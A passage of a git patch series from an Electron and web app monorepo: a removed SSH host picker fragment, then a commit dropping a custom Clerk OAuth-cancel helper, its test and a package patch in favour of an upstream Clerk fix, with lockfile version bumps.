- - target.alias} - mode="none" - openOnInputClick - open={sshHostSuggestionsOpen} - onOpenChange={setSshHostSuggestionsOpen} - onItemHighlighted={(target) => { - highlightedSshHostRef.current = target; - }} - value={savedBackendSshHost} - onValueChange={(value, eventDetails) => { - setSavedBackendSshHost(value); - if (eventDetails.reason !== "item-press") return; - const target = filteredDiscoveredSshHosts.find((host) => host.alias === value); - if (target) void handleSelectSshHostSuggestion(target); - }} - > - - {hasSshHostSuggestionContent ? ( - - {isLoadingDiscoveredSshHosts ? ( -
Loading hosts…
- ) : filteredDiscoveredSshHosts.length > 0 ? ( - - {filteredDiscoveredSshHosts.map((target, index) => { - const address = formatDesktopSshTarget(target); - const shortcutCommand = index < 9 ? threadJumpCommandForIndex(index) : null; - const shortcutLabel = shortcutCommand - ? shortcutLabelForCommand(keybindings, shortcutCommand, navigator.platform) - : null; - return ( - - - {target.alias} - - {address !== target.alias ? ( - - {address} - - ) : ( - - )} - {shortcutLabel ? ( - {shortcutLabel} - ) : null} - - ); - })} - - ) : ( - - No hosts match "{savedBackendSshHost.trim()}". - - )} -
- ) : null} -
-
-
- - -
- {savedBackendError || discoveredSshHostsError ? ( - - {savedBackendError ?? discoveredSshHostsError} - - ) : null} - -
-
- ); const renderNetworkAccessToggle = () => ( 0 ? ( ) : null} - { - setAddBackendDialogOpen(open); - if (open) { - setRouteTarget(null); - } else { - setSavedBackendError(null); - } - }} - > - - - - Add environment - - } - /> - } - /> - Add environment - - - - - {routeTarget ? `Add a route to ${routeTarget.label}` : "Add Environment"} - - - {routeTarget - ? "Pair this machine again over another address, such as its Tailscale name. It joins the existing routes instead of adding a second machine." - : "Pair another environment to this client."} - - - -
-
- {renderConnectionModeCard({ - mode: "remote", - title: "Remote link", - description: "Enter a backend host and pairing code.", - icon: , - })} - {desktopBridge - ? renderConnectionModeCard({ - mode: "ssh", - title: "SSH", - description: - "Use local SSH config, agent, and tunnels for the backend.", - icon: , - }) - : null} -
- - {savedBackendMode === "ssh" ? renderSshFields() : renderRemoteModeBody()} - -
-
-
-
+ routeTarget={routeTarget} + error={savedBackendError} + savedEnvironments={savedEnvironments} + onOpenChange={handleAddBackendDialogOpenChange} + onErrorChange={setSavedBackendError} + /> } > From 41967084e3979818e0bf8fa7cea31ffb6feb7369 Mon Sep 17 00:00:00 2001 From: Robert Soriano Date: Wed, 21 Oct 2026 12:13:52 -0700 Subject: [PATCH 019/130] fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins (#23038) --- apps/desktop/src/clerkOAuthCancel.test.ts | 58 - apps/desktop/src/clerkOAuthCancel.ts | 46 - apps/desktop/src/preload.ts | 7 +- .../components/clerk/ClerkOAuthPendingBar.tsx | 35 - .../clerk/ElectronManagedAuthShell.tsx | 2 - packages/contracts/src/ipc.ts | 3 - patches/@clerk__electron@0.1.1.patch | 103 - pnpm-lock.yaml | 2753 +++++++---------- pnpm-workspace.yaml | 17 +- 9 files changed, 1153 insertions(+), 1871 deletions(-) delete mode 100644 apps/desktop/src/clerkOAuthCancel.test.ts delete mode 100644 apps/desktop/src/clerkOAuthCancel.ts delete mode 100644 apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx delete mode 100644 patches/@clerk__electron@0.1.1.patch diff --git a/apps/desktop/src/clerkOAuthCancel.test.ts b/apps/desktop/src/clerkOAuthCancel.test.ts deleted file mode 100644 index c03bb5f880c1..000000000000 --- a/apps/desktop/src/clerkOAuthCancel.test.ts +++ /dev/null @@ -1,58 +0,0 @@ -import { assert, describe, it } from "@effect/vitest"; - -import { createClerkOAuthCancel } from "./clerkOAuthCancel.ts"; - -const deferredOpen = () => { - const resolvers: Array<(value: { callbackUrl: string }) => void> = []; - const opened: Array> = []; - const open = (_url: string) => { - const promise = new Promise<{ callbackUrl: string }>((resolve) => { - resolvers.push(resolve); - }); - opened.push(promise); - return promise; - }; - return { open, resolvers, opened }; -}; - -const outcome = (promise: Promise<{ callbackUrl: string }>) => - promise.then( - ({ callbackUrl }) => `resolved ${callbackUrl}`, - (error: Error) => `rejected ${error.message}`, - ); - -describe("createClerkOAuthCancel", () => { - it("cancel rejects the pending flow and reports it is no longer pending", async () => { - const oauth = createClerkOAuthCancel(); - const changes: boolean[] = []; - oauth.onPendingChange((pending) => changes.push(pending)); - const { open } = deferredOpen(); - - const flow = outcome(oauth.wrapOpen(open)("https://accounts.example/a")); - assert.isTrue(oauth.isPending()); - oauth.cancel(); - - assert.strictEqual(await flow, "rejected Clerk: OAuth flow was cancelled."); - assert.isFalse(oauth.isPending()); - assert.deepStrictEqual(changes, [true, false]); - }); - - it("a new attempt replaces the pending one, and the old result cannot clear it", async () => { - const oauth = createClerkOAuthCancel(); - const { open, resolvers, opened } = deferredOpen(); - const wrapped = oauth.wrapOpen(open); - - const first = outcome(wrapped("https://accounts.example/a")); - const second = outcome(wrapped("https://accounts.example/b")); - assert.strictEqual(await first, "rejected Clerk: OAuth flow was cancelled."); - - resolvers[0]?.({ callbackUrl: "t3code://app/?a" }); - // Two hops, so the wrapper's own `.then().finally()` on this result has run. - await opened[0]?.then(() => undefined).then(() => undefined); - assert.isTrue(oauth.isPending()); - - resolvers[1]?.({ callbackUrl: "t3code://app/?b" }); - assert.strictEqual(await second, "resolved t3code://app/?b"); - assert.isFalse(oauth.isPending()); - }); -}); diff --git a/apps/desktop/src/clerkOAuthCancel.ts b/apps/desktop/src/clerkOAuthCancel.ts deleted file mode 100644 index 8cc52f181064..000000000000 --- a/apps/desktop/src/clerkOAuthCancel.ts +++ /dev/null @@ -1,46 +0,0 @@ -type OAuthOpen = (url: string) => Promise<{ callbackUrl: string }>; - -/** - * Lets the app cancel the Clerk OAuth flow the renderer is waiting on. The - * system browser never reports a closed tab, so an abandoned sign-in would - * otherwise keep Clerk's sheet spinning until Clerk's 180s timeout. - * - * Pass `wrapOpen` to `exposeClerkBridge` as `wrapOAuthOpen`. Cancelling only - * rejects the renderer's promise; the patched main process replaces the stale - * flow when the next attempt starts. - */ -export function createClerkOAuthCancel() { - let cancelPending: (() => void) | null = null; - const listeners = new Set<(pending: boolean) => void>(); - const setCancelPending = (cancel: (() => void) | null) => { - cancelPending = cancel; - for (const listener of listeners) listener(cancel !== null); - }; - - return { - wrapOpen: - (open: OAuthOpen): OAuthOpen => - (url) => { - cancelPending?.(); - return new Promise((resolve, reject) => { - const settle = () => { - if (cancelPending === cancel) setCancelPending(null); - }; - const cancel = () => { - settle(); - reject(new Error("Clerk: OAuth flow was cancelled.")); - }; - setCancelPending(cancel); - open(url).then(resolve, reject).finally(settle); - }); - }, - isPending: () => cancelPending !== null, - onPendingChange: (listener: (pending: boolean) => void) => { - listeners.add(listener); - return () => { - listeners.delete(listener); - }; - }, - cancel: () => cancelPending?.(), - }; -} diff --git a/apps/desktop/src/preload.ts b/apps/desktop/src/preload.ts index 61288173d7ae..bffa02d9ca43 100644 --- a/apps/desktop/src/preload.ts +++ b/apps/desktop/src/preload.ts @@ -10,7 +10,6 @@ import type { import { exposeClerkBridge } from "@clerk/electron/preload"; import { contextBridge, ipcRenderer, webFrame, webUtils } from "electron"; -import { createClerkOAuthCancel } from "./clerkOAuthCancel.ts"; import * as IpcChannels from "./ipc/channels.ts"; import { mergeLegacyLocalStorage } from "./legacyLocalStorageMerge.ts"; @@ -31,8 +30,7 @@ function isSnapShotEvent(value: unknown): value is DesktopSnapShotEvent { ); } -const clerkOAuthCancel = createClerkOAuthCancel(); -exposeClerkBridge({ passkeys: true, wrapOAuthOpen: clerkOAuthCancel.wrapOpen }); +exposeClerkBridge({ passkeys: true }); // Runs before any app script reads localStorage. See DesktopLegacyLocalStorage. try { @@ -253,9 +251,6 @@ contextBridge.exposeInMainWorld("desktopBridge", { ipcRenderer.removeListener(IpcChannels.QUIT_SHORTCUT_CHANNEL, wrappedListener); }; }, - isClerkOAuthPending: clerkOAuthCancel.isPending, - onClerkOAuthPendingChange: clerkOAuthCancel.onPendingChange, - cancelClerkOAuth: clerkOAuthCancel.cancel, getWindowFullscreenState: () => ipcRenderer.sendSync(IpcChannels.GET_WINDOW_FULLSCREEN_STATE_CHANNEL) === true, getWindowZoomFactor: () => webFrame.getZoomFactor(), diff --git a/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx b/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx deleted file mode 100644 index 585d78189b0b..000000000000 --- a/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx +++ /dev/null @@ -1,35 +0,0 @@ -import { useSyncExternalStore } from "react"; -import { createPortal } from "react-dom"; - -import { Button } from "../ui/button"; - -function subscribeToClerkOAuthPending(onChange: () => void): () => void { - return window.desktopBridge?.onClerkOAuthPendingChange?.(() => onChange()) ?? (() => {}); -} - -function readClerkOAuthPending(): boolean { - return window.desktopBridge?.isClerkOAuthPending?.() ?? false; -} - -export function ClerkOAuthPendingBar() { - const pending = useSyncExternalStore(subscribeToClerkOAuthPending, readClerkOAuthPending); - if (!pending) return null; - return createPortal( -
-
- Finish signing in in your browser. - -
-
, - document.body, - ); -} diff --git a/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx b/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx index 0e42c28e3171..004ba8c81fca 100644 --- a/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx +++ b/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx @@ -3,7 +3,6 @@ import { ClerkProvider } from "@clerk/electron/react"; import type { ReactNode } from "react"; import { ManagedRelayAuthProvider } from "../../cloud/managedAuth"; -import { ClerkOAuthPendingBar } from "./ClerkOAuthPendingBar"; import { clerkAppearance } from "./clerkAppearance"; /** @@ -22,7 +21,6 @@ export default function ElectronManagedAuthShell({ return ( {children} - ); } diff --git a/packages/contracts/src/ipc.ts b/packages/contracts/src/ipc.ts index 831b9ed35caa..d1f6b349397e 100644 --- a/packages/contracts/src/ipc.ts +++ b/packages/contracts/src/ipc.ts @@ -1125,9 +1125,6 @@ export interface DesktopBridge { onMenuAction: (listener: (action: string) => void) => () => void; onSnapShotEvent?: (listener: (event: DesktopSnapShotEvent) => void) => () => void; onQuitShortcut?: (listener: (event: QuitShortcutHintEvent) => void) => () => void; - isClerkOAuthPending?: () => boolean; - onClerkOAuthPendingChange?: (listener: (pending: boolean) => void) => () => void; - cancelClerkOAuth?: () => void; getWindowFullscreenState: () => boolean; onWindowFullscreenStateChange: (listener: (fullscreen: boolean) => void) => () => void; /** App window zoom; older desktop shells omit this method. */ diff --git a/patches/@clerk__electron@0.1.1.patch b/patches/@clerk__electron@0.1.1.patch deleted file mode 100644 index 8c19e009883c..000000000000 --- a/patches/@clerk__electron@0.1.1.patch +++ /dev/null @@ -1,103 +0,0 @@ -diff --git a/dist/cjs/index.js b/dist/cjs/index.js -index 97a5a25d58584c9bf04997fcec67e29923a0cf76..8fa6d6422188dc720e6de3672ba77e79617526bd 100644 ---- a/dist/cjs/index.js -+++ b/dist/cjs/index.js -@@ -95,8 +95,8 @@ function setupOAuthTransportIpcHandlers(options) { - }); - electron.ipcMain.handle(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, async (event, url) => { - if (!isMainFrameEvent(event)) throw new Error("Clerk: OAuth request did not originate from a window's main frame."); -- if (pendingOAuthFlow) throw new Error("Clerk: an OAuth flow is already pending."); - assertExternalOAuthUrl(url); -+ disposePendingOAuthFlow(new Error("Clerk: OAuth flow was replaced by a new one.")); - const window = electron.BrowserWindow.fromWebContents(event.sender); - const callbackPromise = new Promise((resolve, reject) => { - pendingOAuthFlow = { -@@ -109,10 +109,13 @@ function setupOAuthTransportIpcHandlers(options) { - window - }; - }); -+ const flow = pendingOAuthFlow; -+ // A newer flow can reject this one before it is returned below. -+ callbackPromise.catch(() => {}); - try { - await electron.shell.openExternal(url); - } catch (err) { -- disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); -+ if (pendingOAuthFlow === flow) disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); - } - return callbackPromise; - }); -diff --git a/dist/cjs/preload/index.js b/dist/cjs/preload/index.js -index 310c21a720e7b5da06ee301f6b51597f081a8179..3518d29e786258065bc5ab92b664ea06dc99b659 100644 ---- a/dist/cjs/preload/index.js -+++ b/dist/cjs/preload/index.js -@@ -33,7 +33,7 @@ function exposeClerkBridge(options) { - }, - oauthTransport: { - getRedirectUrl: () => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.getRedirectUrl), -- open: (url) => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, url) -+ open: (options?.wrapOAuthOpen ?? ((open) => open))((url) => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, url)) - } - }; - if (process.contextIsolated) electron.contextBridge.exposeInMainWorld("__clerk_internal_electron", bridge); -diff --git a/dist/esm/index.js b/dist/esm/index.js -index 29284ea0e6325afc72024ec8c2e69ab3cb78ad00..80c64fd8dbaefb4a393cc814a273620f77ca76c6 100644 ---- a/dist/esm/index.js -+++ b/dist/esm/index.js -@@ -94,8 +94,8 @@ function setupOAuthTransportIpcHandlers(options) { - }); - ipcMain.handle(OAUTH_TRANSPORT_CHANNELS.open, async (event, url) => { - if (!isMainFrameEvent(event)) throw new Error("Clerk: OAuth request did not originate from a window's main frame."); -- if (pendingOAuthFlow) throw new Error("Clerk: an OAuth flow is already pending."); - assertExternalOAuthUrl(url); -+ disposePendingOAuthFlow(new Error("Clerk: OAuth flow was replaced by a new one.")); - const window = BrowserWindow.fromWebContents(event.sender); - const callbackPromise = new Promise((resolve, reject) => { - pendingOAuthFlow = { -@@ -108,10 +108,13 @@ function setupOAuthTransportIpcHandlers(options) { - window - }; - }); -+ const flow = pendingOAuthFlow; -+ // A newer flow can reject this one before it is returned below. -+ callbackPromise.catch(() => {}); - try { - await shell.openExternal(url); - } catch (err) { -- disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); -+ if (pendingOAuthFlow === flow) disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); - } - return callbackPromise; - }); -diff --git a/dist/esm/preload/index.js b/dist/esm/preload/index.js -index 4a131a7d148fb402fe5e04336ccf7398723501b4..110dab808a7c6a1a7664dc5d9ab254af2fa4c4bc 100644 ---- a/dist/esm/preload/index.js -+++ b/dist/esm/preload/index.js -@@ -32,7 +32,7 @@ function exposeClerkBridge(options) { - }, - oauthTransport: { - getRedirectUrl: () => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.getRedirectUrl), -- open: (url) => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.open, url) -+ open: (options?.wrapOAuthOpen ?? ((open) => open))((url) => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.open, url)) - } - }; - if (process.contextIsolated) contextBridge.exposeInMainWorld("__clerk_internal_electron", bridge); -diff --git a/dist/types/shared/types.d.ts b/dist/types/shared/types.d.ts -index ed127cc9e02808600b7f51dd71b278e223180534..96b6cc803a4e245f9966237003511b3cbe2121c8 100644 ---- a/dist/types/shared/types.d.ts -+++ b/dist/types/shared/types.d.ts -@@ -40,6 +40,14 @@ export type ExposeClerkBridgeOptions = { - * Exposes the native passkey bridge to the renderer. Requires `createClerkBridge({ passkeys: true })`. - */ - passkeys?: boolean; -+ /** -+ * Wraps the renderer's OAuth open call, for example to let the app cancel a pending flow. -+ */ -+ wrapOAuthOpen?: (open: (url: string) => Promise<{ -+ callbackUrl: string; -+ }>) => (url: string) => Promise<{ -+ callbackUrl: string; -+ }>; - }; - export type ClerkBridge = { - /** diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 6ed6205f5dbc..fa96b326cc4c 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -276,18 +276,18 @@ overrides: '@alchemy.run/sigil>scheduler': '-' alchemy>@prisma/dev: '-' '@clerk/backend': 3.25.0 - '@clerk/clerk-js': 6.39.1 + '@clerk/clerk-js': 6.40.0 '@clerk/clerk-js>@base-org/account': '-' '@clerk/clerk-js>@coinbase/wallet-sdk': '-' '@clerk/clerk-js>@solana/wallet-adapter-base': '-' '@clerk/clerk-js>@solana/wallet-adapter-react': '-' '@clerk/clerk-js>@solana/wallet-standard': '-' '@clerk/clerk-js>@wallet-standard/core': '-' - '@clerk/electron': 0.1.1 + '@clerk/electron': 0.1.3 '@clerk/electron-passkeys': 0.0.3 '@clerk/expo': 4.13.0 - '@clerk/react': 6.17.8 - '@clerk/shared': 4.40.0 + '@clerk/react': 6.18.0 + '@clerk/shared': 4.41.0 '@effect/atom-react': 4.0.5 '@effect/platform-node': 4.0.5 '@effect/platform-node-shared': 4.0.5 @@ -327,7 +327,6 @@ packageExtensionsChecksum: sha256-EowbsmlBFaoO0Ypufw901RnvdyjKG5dcdk2FRbc7Dr0= pnpmfileChecksum: sha256-lS/yS+IvX/sj4KLdjVeRsq/hRipJMILKWjIbzIC+czo= patchedDependencies: - '@clerk/electron@0.1.1': 6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1 '@clerk/expo-native-components@0.2.0': 7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4 '@effect/vitest@4.0.5': 2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02 '@expo/fingerprint@0.21.5': 8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1 @@ -384,13 +383,13 @@ importers: version: 7.0.2 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) apps/desktop: dependencies: '@clerk/electron': - specifier: 0.1.1 - version: 0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: 0.1.3 + version: 0.1.3(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3(supports-color@8.1.1))(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/electron-passkeys': specifier: 0.0.3 version: 0.0.3 @@ -426,13 +425,13 @@ importers: version: 4.0.5 electron: specifier: 44.9.3 - version: 44.9.3 + version: 44.9.3(supports-color@8.1.1) electron-store: specifier: ^8.2.0 version: 8.2.0 electron-updater: specifier: ^6.8.9 - version: 6.8.9 + version: 6.8.9(supports-color@8.1.1) electron-webauthn: specifier: 'catalog:' version: 1.3.1(typescript@7.0.2) @@ -451,7 +450,7 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 @@ -463,13 +462,13 @@ importers: version: 10.1.0 electron-builder: specifier: 26.16.1 - version: 26.16.1(electron-builder-squirrel-windows@26.16.1) + version: 26.16.1(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) tailwindcss: specifier: 4.3.3 version: 4.3.3 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) apps/marketing: dependencies: @@ -478,7 +477,7 @@ importers: version: link:../../packages/shared astro: specifier: ^7.3.5 - version: 7.3.5(@types/node@24.12.4)(@volar/typescript@2.4.28)(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0) + version: 7.3.5(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0(supports-color@8.1.1))(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0) sharp: specifier: 0.35.4 version: 0.35.4(@types/node@24.12.4) @@ -497,10 +496,10 @@ importers: dependencies: '@clerk/expo': specifier: 4.13.0 - version: 4.13.0(7b5e2b0afc01ce7ef5801e333b018457) + version: 4.13.0(f64b0f25957a972ead17046e3279ac85) '@clerk/expo-native-components': specifier: 0.2.0 - version: 0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 0.2.0(patch_hash=7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) '@effect/atom-react': specifier: 4.0.5 version: 4.0.5(effect@4.0.5)(react@19.3.0)(scheduler@0.28.0) @@ -509,13 +508,13 @@ importers: version: 0.4.2 '@expo/metro-runtime': specifier: ~58.0.14 - version: 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@expo/ui': specifier: 58.0.20 - version: 58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@legendapp/list': specifier: 'catalog:' - version: 3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@material/material-color-utilities': specifier: 0.3.0 version: 0.3.0 @@ -527,22 +526,22 @@ importers: version: 1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@react-native-ai/apple': specifier: 0.12.0 - version: 0.12.0(patch_hash=2d09870c2848d185cb05b53ed823a46e12dba519324d8dd8e584e28731990f9d)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + version: 0.12.0(patch_hash=2d09870c2848d185cb05b53ed823a46e12dba519324d8dd8e584e28731990f9d)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) '@react-native-async-storage/async-storage': specifier: 3.1.1 - version: 